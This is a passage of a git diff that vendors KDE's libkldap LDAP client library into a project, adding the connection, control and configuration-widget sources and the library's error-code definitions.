setSecurity(Security security); + /** + * Returns the security type. + * Kconfig widget names: kcfg_ldapnosec, kcfg_ldaptls, kcfg_ldapssl + * @param security the security type to set + */ + Q_REQUIRED_RESULT Security security() const; + + /** + * Sets the authentication type (Anonymous, Simple, SASL). + * Kconfig widget names: kcfg_ldapanon, kcfg_ldapsimple, kcfg_ldapsasl + * @param auth the authentication type to set + */ + void setAuth(Auth auth); + /** + * Returns the authentication type. + * Kconfig widget names: kcfg_ldapanon, kcfg_ldapsimple, kcfg_ldapsasl + * @param auth the authentication type to set + */ + Q_REQUIRED_RESULT Auth auth() const; + + /** + * Sets the size limit. + * KConfig widget name: kcfg_ldapsizelimit + * @param sizelimit the size limit to set + */ + void setSizeLimit(int sizelimit); + /** + * Returns the size limit. + * KConfig widget name: kcfg_ldapsizelimit + */ + Q_REQUIRED_RESULT int sizeLimit() const; + + /** + * Sets the time limit. + * KConfig widget name: kcfg_ldaptimelimit + * @param timelimit the time limit to set + */ + void setTimeLimit(int timelimit); + /** + * Returns the time limit. + * KConfig widget name: kcfg_ldaptimelimit + */ + Q_REQUIRED_RESULT int timeLimit() const; + + /** + * Sets the page size. + * KConfig widget name: kcfg_ldappagesize + * @param pagesize the page size to set + */ + void setPageSize(int pagesize); + /** + * Returns the page size. + * KConfig widget name: kcfg_ldappagesize + */ + Q_REQUIRED_RESULT int pageSize() const; + + Q_REQUIRED_RESULT WinFlags features() const; + void setFeatures(WinFlags features); + + /** + * Returns a LDAP Url constructed from the settings given. + * Extensions are filled for use in the LDAP ioslave + */ + Q_REQUIRED_RESULT LdapUrl url() const; + /** + * Set up the widget via an LDAP Url. + * @param url the LDAP Url to set + */ + void setUrl(const LdapUrl &url); + + /** + * Returns an LdapServer object constructed from the settings given. + */ + Q_REQUIRED_RESULT LdapServer server() const; + /** + * Set up the widget via an LdapServer object. + * @param server the LdapServer object to set + */ + void setServer(const LdapServer &server); + +Q_SIGNALS: + /** + * @since 4.13 + */ + void hostNameChanged(const QString &); + +private: + class Private; + Private *const d; +}; + +Q_DECLARE_OPERATORS_FOR_FLAGS(LdapConfigWidget::WinFlags) + +} + +#endif diff --git a/3rdparty/kldap/src/ldapconnection.cpp b/3rdparty/kldap/src/ldapconnection.cpp new file mode 100644 index 0000000..efabf8b --- /dev/null +++ b/3rdparty/kldap/src/ldapconnection.cpp @@ -0,0 +1,468 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapconnection.h" +#include "ldapdefs.h" +#include "kldap_config.h" // SASL2_FOUND, LDAP_FOUND + +#include +#include +#include "ldap_debug.h" + +#ifdef SASL2_FOUND +#include +static const sasl_callback_t callbacks[] = { + { SASL_CB_ECHOPROMPT, nullptr, nullptr }, + { SASL_CB_NOECHOPROMPT, nullptr, nullptr }, + { SASL_CB_GETREALM, nullptr, nullptr }, + { SASL_CB_USER, nullptr, nullptr }, + { SASL_CB_AUTHNAME, nullptr, nullptr }, + { SASL_CB_PASS, nullptr, nullptr }, + { SASL_CB_CANON_USER, nullptr, nullptr }, + { SASL_CB_LIST_END, nullptr, nullptr } +}; + +static bool ldapoperation_sasl_initialized = false; +#endif + +#ifdef LDAP_FOUND +# ifndef HAVE_WINLDAP_H +# include +# include +#else +# include +#endif // HAVE_WINLDAP_H + +#ifndef LDAP_OPT_SUCCESS +#define LDAP_OPT_SUCCESS 0 +#endif + +#endif + +using namespace KLDAP; + +class Q_DECL_HIDDEN LdapConnection::LdapConnectionPrivate +{ +public: + LdapConnectionPrivate(); + LdapServer mServer; + QString mConnectionError; + +#ifdef LDAP_FOUND + LDAP *mLDAP; +#else + void *mLDAP; +#endif +#ifdef SASL2_FOUND + sasl_conn_t *mSASLconn; +#else + void *mSASLconn; +#endif + +}; + +LdapConnection::LdapConnectionPrivate::LdapConnectionPrivate() +{ + mSASLconn = nullptr; +#ifdef SASL2_FOUND + if (!ldapoperation_sasl_initialized) { + sasl_client_init(nullptr); + ldapoperation_sasl_initialized = true; + } +#endif +} + +LdapConnection::LdapConnection() + : d(new LdapConnectionPrivate) +{ + d->mLDAP = nullptr; +} + +LdapConnection::LdapConnection(const LdapUrl &url) + : d(new LdapConnectionPrivate) +{ + d->mLDAP = nullptr; + setUrl(url); +} + +LdapConnection::LdapConnection(const LdapServer &server) + : d(new LdapConnectionPrivate) +{ + d->mLDAP = nullptr; + setServer(server); +} + +LdapConnection::~LdapConnection() +{ + close(); + delete d; +} + +void LdapConnection::setUrl(const LdapUrl &url) +{ + d->mServer.setUrl(url); +} + +void LdapConnection::setServer(const LdapServer &server) +{ + d->mServer = server; +} + +const LdapServer &LdapConnection::server() const +{ + return d->mServer; +} + +void *LdapConnection::handle() const +{ + return (void *)d->mLDAP; +} + +void *LdapConnection::saslHandle() const +{ + return (void *)d->mSASLconn; +} + +QString LdapConnection::errorString(int code) +{ + //No translated error messages yet +#ifdef LDAP_FOUND + return QString::fromUtf8(ldap_err2string(code)); +#else + return i18n("No LDAP Support..."); +#endif +} + +QString LdapConnection::saslErrorString() const +{ +#ifdef SASL2_FOUND + const char *str; + str = sasl_errdetail(d->mSASLconn); + return QString::fromLocal8Bit(str); +#else + return i18n("SASL support is not available. Please recompile libkldap with the " + "Cyrus-SASL (or compatible) client libraries, or complain to your " + "distribution packagers."); +#endif +} + +QString LdapConnection::connectionError() const +{ + return d->mConnectionError; +} + +#ifdef LDAP_FOUND +int LdapConnection::getOption(int option, void *value) const +{ + Q_ASSERT(d->mLDAP); + return ldap_get_option(d->mLDAP, option, value); +} + +int LdapConnection::setOption(int option, void *value) +{ + Q_ASSERT(d->mLDAP); + return ldap_set_option(d->mLDAP, option, value); +} + +int LdapConnection::ldapErrorCode() const +{ + Q_ASSERT(d->mLDAP); + int err; + ldap_get_option(d->mLDAP, LDAP_OPT_ERROR_NUMBER, &err); + return err; +} + +QString LdapConnection::ldapErrorString() const +{ + Q_ASSERT(d->mLDAP); + char *errmsg; + ldap_get_option(d->mLDAP, LDAP_OPT_ERROR_STRING, &errmsg); + QString msg = QString::fromLocal8Bit(errmsg); + free(errmsg); + return msg; +} + +bool LdapConnection::setSizeLimit(int sizelimit) +{ + Q_ASSERT(d->mLDAP); + qCDebug(LDAP_LOG) << "sizelimit:" << sizelimit; + if (setOption(LDAP_OPT_SIZELIMIT, &sizelimit) != LDAP_OPT_SUCCESS) { + return false; + } + return true; +} + +int LdapConnection::sizeLimit() const +{ + Q_ASSERT(d->mLDAP); + int sizelimit; + if (getOption(LDAP_OPT_SIZELIMIT, &sizelimit) != LDAP_OPT_SUCCESS) { + return -1; + } + return sizelimit; +} + +bool LdapConnection::setTimeLimit(int timelimit) +{ + Q_ASSERT(d->mLDAP); + qCDebug(LDAP_LOG) << "timelimit:" << timelimit; + if (setOption(LDAP_OPT_TIMELIMIT, &timelimit) != LDAP_OPT_SUCCESS) { + return false; + } + return true; +} + +int LdapConnection::timeLimit() const +{ + Q_ASSERT(d->mLDAP); + int timelimit; + if (getOption(LDAP_OPT_TIMELIMIT, &timelimit) != LDAP_OPT_SUCCESS) { + return -1; + } + return timelimit; +} + +int LdapConnection::connect() +{ + int ret; + QString url; + if (d->mLDAP) { + close(); + } + + int version = d->mServer.version(); + int timeout = d->mServer.timeout(); + + url = d->mServer.security() == LdapServer::SSL ? QStringLiteral("ldaps") : QStringLiteral("ldap"); + url += QLatin1String("://"); + url += d->mServer.host(); + url += QLatin1Char(':'); + url += QString::number(d->mServer.port()); + qCDebug(LDAP_LOG) << "ldap url:" << url; +#ifdef HAVE_LDAP_INITIALIZE + ret = ldap_initialize(&d->mLDAP, url.toLatin1().constData()); +#else + d->mLDAP = ldap_init(d->mServer.host().toLatin1().data(), d->mServer.port()); + if (d->mLDAP == 0) { + ret = -1; + } else { + ret = LDAP_SUCCESS; + } +#endif + if (ret != LDAP_SUCCESS) { + d->mConnectionError = i18n("An error occurred during the connection initialization phase."); + return ret; + } + + qCDebug(LDAP_LOG) << "setting version to:" << version; + if (setOption(LDAP_OPT_PROTOCOL_VERSION, &version) != LDAP_OPT_SUCCESS) { + ret = ldapErrorCode(); + d->mConnectionError = i18n("Cannot set protocol version to %1.", version); + close(); + return ret; + } + +#if defined(LDAP_OPT_TIMEOUT) + qCDebug(LDAP_LOG) << "setting timeout to:" << timeout; + + if (timeout) { + if (setOption(LDAP_OPT_TIMEOUT, &timeout) != LDAP_OPT_SUCCESS) { + ret = ldapErrorCode(); + d->mConnectionError = i18np("Cannot set timeout to %1 second.", + "Cannot set timeout to %1 seconds.", + timeout); + close(); + return ret; + } + } +#endif + + //FIXME: accessing to certificate handling would be good + qCDebug(LDAP_LOG) << "setting security to:" << d->mServer.security(); + if (d->mServer.security() == LdapServer::TLS) { + bool initContext = false; + if (d->mServer.tlsCACertFile().isEmpty() == false) { + if(setOption(LDAP_OPT_X_TLS_CACERTFILE, d->mServer.tlsCACertFile().toUtf8().data()) != LDAP_OPT_SUCCESS) { + d->mConnectionError = i18n("Could not set CA certificate file."); + return -1; + } + initContext = true; + } + + if (d->mServer.tlsRequireCertificate() != LdapServer::TLSReqCertDefault) { + int reqcert; + switch (d->mServer.tlsRequireCertificate()) { + case LdapServer::TLSReqCertAllow: reqcert = LDAP_OPT_X_TLS_ALLOW; break; + case LdapServer::TLSReqCertDemand: reqcert = LDAP_OPT_X_TLS_DEMAND; break; + case LdapServer::TLSReqCertHard: reqcert = LDAP_OPT_X_TLS_HARD; break; + case LdapServer::TLSReqCertNever: reqcert = LDAP_OPT_X_TLS_NEVER; break; + case LdapServer::TLSReqCertTry: reqcert = LDAP_OPT_X_TLS_TRY; break; + default: + d->mConnectionError = i18n("Invalid TLS require certificate mode."); + return -1; + } + + if (setOption(LDAP_OPT_X_TLS_REQUIRE_CERT, &reqcert) != LDAP_OPT_SUCCESS) { + d->mConnectionError = i18n("Could not set TLS require certificate mode."); + return -1; + } + initContext = true; + } + + if (initContext) { + int isServer = 0; + if (setOption(LDAP_OPT_X_TLS_NEWCTX, &isServer) != LDAP_OPT_SUCCESS) { + d->mConnectionError = i18n("Could not initialize new TLS context."); + return -1; + } + } + + qCDebug(LDAP_LOG) << "start TLS"; + +#ifdef HAVE_LDAP_START_TLS_S + if ((ret = ldap_start_tls_s(d->mLDAP, nullptr, nullptr)) != LDAP_SUCCESS) { + d->mConnectionError = ldapErrorString(); + close(); + return ret; + } +#else + close(); + d->mConnectionError = i18n("TLS support not available in the LDAP client libraries."); + return -1; +#endif + } + + qCDebug(LDAP_LOG) << "setting sizelimit to:" << d->mServer.sizeLimit(); + if (d->mServer.sizeLimit()) { + if (!setSizeLimit(d->mServer.sizeLimit())) { + ret = ldapErrorCode(); + close(); + d->mConnectionError = i18n("Cannot set size limit."); + return ret; + } + } + + qCDebug(LDAP_LOG) << "setting timelimit to:" << d->mServer.timeLimit(); + if (d->mServer.timeLimit()) { + if (!setTimeLimit(d->mServer.timeLimit())) { + ret = ldapErrorCode(); + close(); + d->mConnectionError = i18n("Cannot set time limit."); + return ret; + } + } + +#ifdef SASL2_FOUND + qCDebug(LDAP_LOG) << "initializing SASL client"; + int saslresult = sasl_client_new("ldap", d->mServer.host().toLatin1().constData(), + nullptr, nullptr, callbacks, 0, &d->mSASLconn); + if (saslresult != SASL_OK) { + d->mConnectionError = i18n("Cannot initialize the SASL client."); + return KLDAP_SASL_ERROR; + } +#endif + + return 0; +} + +void LdapConnection::close() +{ + if (d->mLDAP) { +#ifdef HAVE_LDAP_UNBIND_EXT + ldap_unbind_ext(d->mLDAP, nullptr, nullptr); +#else + ldap_unbind(d->mLDAP); +#endif + } + d->mLDAP = nullptr; +#ifdef SASL2_FOUND + if (d->mSASLconn) { + sasl_dispose(&d->mSASLconn); + d->mSASLconn = nullptr; + } +#endif + qCDebug(LDAP_LOG) << "connection closed!"; +} +#else //LDAP_FOUND + +int LdapConnection::getOption(int option, void *value) const +{ + qCritical() << "No LDAP support..."; + return -1; +} + +int LdapConnection::setOption(int option, void *value) +{ + qCritical() << "No LDAP support..."; + return -1; +} + +int LdapConnection::ldapErrorCode() const +{ + qCritical() << "No LDAP support..."; + return -1; +} + +QString LdapConnection::ldapErrorString() const +{ + qCritical() << "No LDAP support..."; + return QString(); +} + +bool LdapConnection::setSizeLimit(int sizelimit) +{ + qCritical() << "No LDAP support..."; + return false; +} + +int LdapConnection::sizeLimit() const +{ + qCritical() << "No LDAP support..."; + return -1; +} + +bool LdapConnection::setTimeLimit(int timelimit) +{ + qCritical() << "No LDAP support..."; + return false; +} + +int LdapConnection::timeLimit() const +{ + qCritical() << "No LDAP support..."; + return -1; +} + +int LdapConnection::connect() +{ + d->mConnectionError = + i18n("LDAP support not compiled in. Please recompile libkldap with the " + "OpenLDAP (or compatible) client libraries, or complain to your " + "distribution packagers."); + qCritical() << "No LDAP support..."; + return -1; +} + +void LdapConnection::close() +{ + qCritical() << "No LDAP support..."; +} + +#endif diff --git a/3rdparty/kldap/src/ldapconnection.h b/3rdparty/kldap/src/ldapconnection.h new file mode 100644 index 0000000..174bb81 --- /dev/null +++ b/3rdparty/kldap/src/ldapconnection.h @@ -0,0 +1,146 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPCONNECTION_H +#define KLDAP_LDAPCONNECTION_H + +#include + +#include "ldapurl.h" +#include "ldapserver.h" +#include "kldap_export.h" + +namespace KLDAP +{ + +/** + * @brief + * This class represents a connection to an LDAP server. + */ +class KLDAP_EXPORT LdapConnection +{ +public: + + enum SASL_Fields { + SASL_Authname = 0x1, + SASL_Authzid = 0x2, + SASL_Realm = 0x4, + SASL_Password = 0x8 + }; + + /** Constructs an LdapConnection object */ + LdapConnection(); + /** Constructs an LdapConnection with the parameters given in url */ + explicit LdapConnection(const LdapUrl &url); + /** Constructs an LdapConnection with the parameters given in server */ + explicit LdapConnection(const LdapServer &server); + + ~LdapConnection(); + + /** + * Sets the connection parameters via the specified url. After this, + * you need to call connect() to connect with the new parameters. + * @param url the URL containing the connection parameters + */ + void setUrl(const LdapUrl &url); + /** + * Returns the connection parameters which was specified with an LDAP Url + * or a LdapServer structure. + */ + const LdapServer &server() const; + /** + * Sets the connection parameters via the specified server structure. After + * this, you need to call connect() to connect with the new parameters. + * @param server the server object containing the connection parameters + */ + void setServer(const LdapServer &server); + + /** + * Sets up the connection parameters with creating a handle to the LDAP server. + * Also sets sizelimit and timelimit and starts TLS if it is requested. + * Returns 0 if successful, else returns an LDAP error code, and an error + * string which is available via connectionError(). + */ + int connect(); + /** + * Returns a translated error string if connect() failed. + */ + Q_REQUIRED_RESULT QString connectionError() const; + /** + * Closes the LDAP connection. + */ + void close(); + + /** Sets the size limit for the connection. + * @param sizelimit the connection size limit to set + */ + Q_REQUIRED_RESULT bool setSizeLimit(int sizelimit); + /** Returns the current size limit. */ + Q_REQUIRED_RESULT int sizeLimit() const; + + /** Sets the time limit for the connection. + * @param timelimit the connection time limit to set + */ + Q_REQUIRED_RESULT bool setTimeLimit(int timelimit); + /** Returns the current time limit. */ + Q_REQUIRED_RESULT int timeLimit() const; + + /** Gets an option from the connection. The option value can be client + * library specific, so avoid this function if possible + * @param option the connection option to return + * @param value the value of option to get + */ + Q_REQUIRED_RESULT int getOption(int option, void *value) const; + /** Sets an option in the connection. The option value can be client + * library specific, so avoid this function if possible */ + Q_REQUIRED_RESULT int setOption(int option, void *value); + + /** Returns the LDAP error code from the last operation */ + Q_REQUIRED_RESULT int ldapErrorCode() const; + /** Returns the LDAP error string from the last operation */ + Q_REQUIRED_RESULT QString ldapErrorString() const; + /** Returns a translated error message from the specified LDAP error code */ + Q_REQUIRED_RESULT static QString errorString(int code); + + /** Returns the SASL error string from the last SASL operation */ + Q_REQUIRED_RESULT QString saslErrorString() const; + + /** + * Returns the opaqe client-library specific LDAP object. + * Avoid its usage if you can. + */ + void *handle() const; + + /** + * Returns the opaqe sasl-library specific SASL object. + * Avoid its usage if you can. + */ + void *saslHandle() const; + +private: + class LdapConnectionPrivate; + LdapConnectionPrivate *const d; + + Q_DISABLE_COPY(LdapConnection) +}; + +} + +#endif diff --git a/3rdparty/kldap/src/ldapcontrol.cpp b/3rdparty/kldap/src/ldapcontrol.cpp new file mode 100644 index 0000000..c966e5a --- /dev/null +++ b/3rdparty/kldap/src/ldapcontrol.cpp @@ -0,0 +1,157 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapcontrol.h" +#include "ber.h" + +#include + +using namespace KLDAP; + +class LdapControlPrivate : public QSharedData +{ +public: + LdapControlPrivate() + { + } + + LdapControlPrivate(const LdapControlPrivate &other) + : QSharedData(other) + { + mOid = other.mOid; + mValue = other.mValue; + mCritical = other.mCritical; + } + + QString mOid; + QByteArray mValue; + bool mCritical = false; +}; + +LdapControl::LdapControl() + : d(new LdapControlPrivate) +{ + setControl(QString(), QByteArray(), false); +} + +LdapControl::LdapControl(const QString &oid, const QByteArray &value, bool critical) + : d(new LdapControlPrivate) +{ + setControl(oid, value, critical); +} + +LdapControl::LdapControl(const LdapControl &that) + : d(that.d) +{ + setControl(that.d->mOid, that.d->mValue, that.d->mCritical); +} + +LdapControl &LdapControl::operator= (const LdapControl &that) +{ + if (this != &that) { + d = that.d; + } + + setControl(that.d->mOid, that.d->mValue, that.d->mCritical); + + return *this; +} + +LdapControl::~LdapControl() +{ +} + +void LdapControl::setControl(const QString &oid, const QByteArray &value, bool critical) +{ + d->mOid = oid; + d->mValue = value; + d->mCritical = critical; +} + +QString LdapControl::oid() const +{ + return d->mOid; +} + +QByteArray LdapControl::value() const +{ + return d->mValue; +} + +bool LdapControl::critical() const +{ + return d->mCritical; +} + +void LdapControl::setOid(const QString &oid) +{ + d->mOid = oid; +} + +void LdapControl::setValue(const QByteArray &value) +{ + d->mValue = value; +} + +void LdapControl::setCritical(bool critical) +{ + d->mCritical = critical; +} + +int LdapControl::parsePageControl(QByteArray &cookie) const +{ + if (d->mOid != QLatin1String("1.2.840.113556.1.4.319")) { + return -1; + } + + Ber ber(d->mValue); + int size; + if (ber.scanf(QStringLiteral("{iO}"), &size, &cookie) == -1) { + return -1; + } else { + return size; + } +} + +LdapControl LdapControl::createPageControl(int pagesize, const QByteArray &cookie) +{ + LdapControl control; + Ber ber; + + ber.printf(QStringLiteral("{iO}"), pagesize, &cookie); + control.setOid(QStringLiteral("1.2.840.113556.1.4.319")); + control.setValue(ber.flatten()); + return control; +} + +void LdapControl::insert(LdapControls &list, const LdapControl &ctrl) +{ + LdapControls::iterator it; + LdapControls::iterator endit = list.end(); + const QString oid = ctrl.oid(); + + for (it = list.begin(); it != endit; ++it) { + if (it->oid() == oid) { + *it = ctrl; + return; + } + } + list.append(ctrl); +} diff --git a/3rdparty/kldap/src/ldapcontrol.h b/3rdparty/kldap/src/ldapcontrol.h new file mode 100644 index 0000000..e7e3982 --- /dev/null +++ b/3rdparty/kldap/src/ldapcontrol.h @@ -0,0 +1,120 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPCONTROL_H +#define KLDAP_LDAPCONTROL_H + +#include +#include +#include +class LdapControlPrivate; + +#include "kldap_export.h" + +// clazy:excludeall=copyable-polymorphic + +namespace KLDAP +{ + +class LdapControl; +typedef QVector LdapControls; + +/** + @brief + This class represents an LDAP Control +*/ +class KLDAP_EXPORT LdapControl +{ +public: + /** + * Creates an empty control. + */ + LdapControl(); + /** + * Creates a control with the given OID, value and criticality. + */ + LdapControl(const QString &oid, const QByteArray &value, bool critical = false); + + LdapControl(const LdapControl &that); + LdapControl &operator= (const LdapControl &that); + /** + * Destroys the control object. + */ + ~LdapControl(); + /** + * Sets the control's OID, value and criticality. + */ + void setControl(const QString &oid, const QByteArray &value, + bool critical = false); + /** + * Sets the control's OID. + */ + void setOid(const QString &oid); + /** + * Sets the control's value. + */ + void setValue(const QByteArray &value); + /** + * Sets the control's criticality. + */ + void setCritical(bool critical); + /** + * Returns the control's OID. + */ + Q_REQUIRED_RESULT QString oid() const; + /** + * Returns the control's value. + */ + Q_REQUIRED_RESULT QByteArray value() const; + /** + * Returns the control's criticality. + */ + Q_REQUIRED_RESULT bool critical() const; + + /** + * Parses a paging results control, which the server returned. + * Puts the server's cookie into @p cookie, and returns the estimated + * result set size. If the OID is not the page control's OID, or the + * value cannot be decoded, returns -1. + * @param cookie the cookie to hold server's cookie + */ + Q_REQUIRED_RESULT int parsePageControl(QByteArray &cookie) const; + /** + * Creates a paging search control. + */ + Q_REQUIRED_RESULT static LdapControl createPageControl(int pagesize, const QByteArray &cookie = QByteArray()); + + /** + * Inserts a unique control against a list of controls. + * If the control already exists in the list is is updated, otherwise + * it is appended to the list. + * @param list the current list of controls + * @param ctrl the control to insert + * @since 4.4 + */ + static void insert(LdapControls &list, const LdapControl &ctrl); + +private: + QSharedDataPointer d; +}; + +} + +#endif diff --git a/3rdparty/kldap/src/ldapdefs.h b/3rdparty/kldap/src/ldapdefs.h new file mode 100644 index 0000000..9a643f9 --- /dev/null +++ b/3rdparty/kldap/src/ldapdefs.h @@ -0,0 +1,161 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_DEFS_H +#define KLDAP_DEFS_H + +/** + * LDAP Error codes. + * These codes taken from openldap's ldap.h, and prefixed with KLDAP_ + * instead of LDAP_, just for applications which uses the kldap library + * doesn't need to include openldap headers + */ + +#define KLDAP_SUCCESS 0x00 + +#define KLDAP_RANGE(n,x,y) (((x) <= (n)) && ((n) <= (y))) + +#define KLDAP_OPERATIONS_ERROR 0x01 +#define KLDAP_PROTOCOL_ERROR 0x02 +#define KLDAP_TIMELIMIT_EXCEEDED 0x03 +#define KLDAP_SIZELIMIT_EXCEEDED 0x04 +#define KLDAP_COMPARE_FALSE 0x05 +#define KLDAP_COMPARE_TRUE 0x06 +#define KLDAP_AUTH_METHOD_NOT_SUPPORTED 0x07 +#define KLDAP_STRONG_AUTH_NOT_SUPPORTED KLDAP_AUTH_METHOD_NOT_SUPPORTED +#define KLDAP_STRONG_AUTH_REQUIRED 0x08 +#define KLDAP_STRONGER_AUTH_REQUIRED KLDAP_STRONG_AUTH_REQUIRED +#define KLDAP_PARTIAL_RESULTS 0x09 /* LDAPv2+ (not LDAPv3) */ + +#define KLDAP_REFERRAL 0x0a /* LDAPv3 */ +#define KLDAP_ADMINLIMIT_EXCEEDED 0x0b /* LDAPv3 */ +#define KLDAP_UNAVAILABLE_CRITICAL_EXTENSION 0x0c /* LDAPv3 */ +#define KLDAP_CONFIDENTIALITY_REQUIRED 0x0d /* LDAPv3 */ +#define KLDAP_SASL_BIND_IN_PROGRESS 0x0e /* LDAPv3 */ + +#define KLDAP_ATTR_ERROR(n) KLDAP_RANGE((n),0x10,0x15) /* 16-21 */ + +#define KLDAP_NO_SUCH_ATTRIBUTE 0x10 +#define KLDAP_UNDEFINED_TYPE 0x11 +#define KLDAP_INAPPROPRIATE_MATCHING 0x12 +#define KLDAP_CONSTRAINT_VIOLATION 0x13 +#define KLDAP_TYPE_OR_VALUE_EXISTS 0x14 +#define KLDAP_INVALID_SYNTAX 0x15 + +#define KLDAP_NAME_ERROR(n) KLDAP_RANGE((n),0x20,0x24) /* 32-34,36 */ + +#define KLDAP_NO_SUCH_OBJECT 0x20 +#define KLDAP_ALIAS_PROBLEM 0x21 +#define KLDAP_INVALID_DN_SYNTAX 0x22 +#define KLDAP_IS_LEAF 0x23 /* not LDAPv3 */ +#define KLDAP_ALIAS_DEREF_PROBLEM 0x24 + +#define KLDAP_SECURITY_ERROR(n) KLDAP_RANGE((n),0x2F,0x32) /* 47-50 */ + +#define KLDAP_PROXY_AUTHZ_FAILURE 0x2F /* LDAPv3 proxy authorization */ +#define KLDAP_INAPPROPRIATE_AUTH 0x30 +#define KLDAP_INVALID_CREDENTIALS 0x31 +#define KLDAP_INSUFFICIENT_ACCESS 0x32 + +#define KLDAP_SERVICE_ERROR(n) KLDAP_RANGE((n),0x33,0x36) /* 51-54 */ + +#define KLDAP_BUSY 0x33 +#define KLDAP_UNAVAILABLE 0x34 +#define KLDAP_UNWILLING_TO_PERFORM 0x35 +#define KLDAP_LOOP_DETECT 0x36 + +#define KLDAP_UPDATE_ERROR(n) KLDAP_RANGE((n),0x40,0x47) /* 64-69,71 */ + +#define KLDAP_NAMING_VIOLATION 0x40 +#define KLDAP_OBJECT_CLASS_VIOLATION 0x41 +#define KLDAP_NOT_ALLOWED_ON_NONLEAF 0x42 +#define KLDAP_NOT_ALLOWED_ON_RDN 0x43 +#define KLDAP_ALREADY_EXISTS 0x44 +#define KLDAP_NO_OBJECT_CLASS_MODS 0x45 +#define KLDAP_RESULTS_TOO_LARGE 0x46 /* CLDAP */ +#define KLDAP_AFFECTS_MULTIPLE_DSAS 0x47 + +#define KLDAP_OTHER 0x50 + +/* LCUP operation codes (113-117) - not implemented */ +#define KLDAP_CUP_RESOURCES_EXHAUSTED 0x71 +#define KLDAP_CUP_SECURITY_VIOLATION 0x72 +#define KLDAP_CUP_INVALID_DATA 0x73 +#define KLDAP_CUP_UNSUPPORTED_SCHEME 0x74 +#define KLDAP_CUP_RELOAD_REQUIRED 0x75 + +/* Cancel operation codes (118-121) */ +#define KLDAP_CANCELLED 0x76 +#define KLDAP_NO_SUCH_OPERATION 0x77 +#define KLDAP_TOO_LATE 0x78 + +#define KLDAP_CANNOT_CANCEL 0x79 + +/* Assertion control (122) */ +#define KLDAP_ASSERTION_FAILED 0x7A + +/* Experimental result codes */ +#define KLDAP_E_ERROR(n) KLDAP_RANGE((n),0x1000,0x3FFF) + +/* LDAP Sync (4096) */ +#define KLDAP_SYNC_REFRESH_REQUIRED 0x1000 + +/* Private Use result codes */ +#define KLDAP_X_ERROR(n) KLDAP_RANGE((n),0x4000,0xFFFF) + +#define KLDAP_X_SYNC_REFRESH_REQUIRED 0x4100 /* defunct */ +#define KLDAP_X_ASSERTION_FAILED 0x410f /* defunct */ + +/* for the LDAP No-Op control */ +#define KLDAP_X_NO_OPERATION 0x410e + +/** API Error Codes + * + * Based on draft-ietf-ldap-c-api-xx + * but with new negative code values + */ +#define KLDAP_API_ERROR(n) ((n)<0) +#define KLDAP_API_RESULT(n) ((n)<=0) + +#define KLDAP_SERVER_DOWN (-1) +#define KLDAP_LOCAL_ERROR (-2) +#define KLDAP_ENCODING_ERROR (-3) +#define KLDAP_DECODING_ERROR (-4) +#define KLDAP_TIMEOUT (-5) +#define KLDAP_AUTH_UNKNOWN (-6) +#define KLDAP_FILTER_ERROR (-7) +#define KLDAP_USER_CANCELLED (-8) +#define KLDAP_PARAM_ERROR (-9) +#define KLDAP_NO_MEMORY (-10) +#define KLDAP_CONNECT_ERROR (-11) +#define KLDAP_NOT_SUPPORTED (-12) +#define KLDAP_CONTROL_NOT_FOUND (-13) +#define KLDAP_NO_RESULTS_RETURNED (-14) +#define KLDAP_MORE_RESULTS_TO_RETURN (-15) /* Obsolete */ +#define KLDAP_CLIENT_LOOP (-16) +#define KLDAP_REFERRAL_LIMIT_EXCEEDED (-17) + +/* + * KLDAP Specific + */ + +#define 